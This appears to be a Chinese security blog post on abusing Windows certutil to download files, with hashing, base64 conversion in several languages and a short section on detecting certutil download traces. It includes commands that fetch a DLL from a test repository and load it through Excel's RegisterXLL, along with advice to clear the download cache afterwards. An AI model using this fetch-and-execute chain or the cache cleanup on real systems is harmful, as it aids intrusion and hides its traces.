certutil简介
用于证书管理
支持环境: XP - Windows 10 全系统
更多:https://technet.microsoft.com/zh-cn/library/cc755341(v=ws.10).aspx
downloader
(1) 保存在当前路径,文件名称同URL
eg:
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt
(2) 保存在当前路径,指定保存文件名称
eg:
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt file.txt
(3) 保存在缓存目录,名称随机
缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
eg:
certutil.exe -urlcache -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt
(4) 支持保存二进制文件
eg:
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
注:
使用downloader默认在缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
保存下载的文件副本
清除下载文件副本方法:
方法1: 直接删除缓存目录对应文件
如下图
方法2: 命令行:
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
补充:
查看缓存项目:
certutil.exe -urlcache *
如下图
实际测试:
测试系统安装Office软件,下载执行dll对应的powershell代码如下:
$path="c:\test\msg1.dll"
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll $path
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$excel.RegisterXLL($path)
测试如下:
2、计算文件hash
(1) SHA1
certutil.exe -hashfile msg.dll
(2) SHA256:
certutil.exe -hashfile msg.dll SHA256
(3) MD5:
certutil.exe -hashfile msg.dll MD5
3、base64编码转换
(1) base64编码:
CertUtil -encode InFile OutFile
(2) base64解码
CertUtil -decode InFile OutFile
注:
编码后的文件会添加两处标识信息:
文件头:
-----BEGIN CERTIFICATE-----
文件尾:
-----END CERTIFICATE-----
如下图
downloader常用方法
利用certUtil简便快捷,但是使用后需要注意清除缓存,路径如下:
%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
downloader常用方法如下:
- certUtil
- powershell
- csc
- vbs
- JScript
- hta
- bitsadmin
- wget
- debug
- ftp
- ftfp
base64编码转换常用方法
在编写脚本操作二进制文件时,常常会因为不可见字符报错,所以通常会选择先对二进制文件作base64编码再操作,最后通过解码还原出二进制文件。
所以在此整理一下常用不同开发工具对应的base64编码转换方式
powershell
base64编码:
$PEBytes = [System.IO.File]::ReadAllBytes("C:\windows\system32\calc.exe")
$Base64Payload = [System.Convert]::ToBase64String($PEBytes)
Set-Content base64.txt -Value $Base64Payload
base64解码:
$Base64Bytes = Get-Content ("base64.txt")
$PEBytes= [System.Convert]::FromBase64String($Base64Bytes)
[System.IO.File]::WriteAllBytes("calc.exe",$PEBytes)
C SHARP(c#)
base64编码:
using System.IO; byte[] AsBytes = File.ReadAllBytes(@"C:\windows\system32\calc.exe");
String AsBase64String = Convert.ToBase64String(AsBytes);
StreamWriter sw = new StreamWriter(@"C:\test\base64.txt");
sw.Write(AsBase64String);
sw.Close();
base64解码:
using System.IO; String AsString = File.ReadAllText(@"C:\test\base64.txt");
byte[] bytes = Convert.FromBase64String(AsString);
FileStream fs = new FileStream(@"C:\test\calc.exe", FileMode.Create);
fs.Write(bytes, 0, bytes.Length);
fs.Flush();
fs.Close();
js
base64解码:
fso1=new ActiveXObject("Scripting.FileSystemObject");
f=fso1.OpenTextFile("C:\\test\\base64.txt",1);
base64string=f.ReadAll();
f.Close();
enc = new ActiveXObject("System.Text.ASCIIEncoding");
length = enc.GetByteCount_2(base64string);
ba = enc.GetBytes_4(base64string);
transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
s=new ActiveXObject("ADODB.Stream");
s.Type=1;
s.Open();
s.Write(ba);
s.SaveToFile("C:\\test\\calc.exe",2);
certutil
base64编码:
CertUtil -encode InFile OutFile
base64解码:
CertUtil -decode InFile OutFile
注:
编码后的文件会添加两处标识信息:
文件头:
—–BEGIN CERTIFICATE—–
文件尾:
—–END CERTIFICATE—–
检测downloader
查看利用certUtil下载文件的缓存记录:
certutil.exe -urlcache *
缓存文件位置:
%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content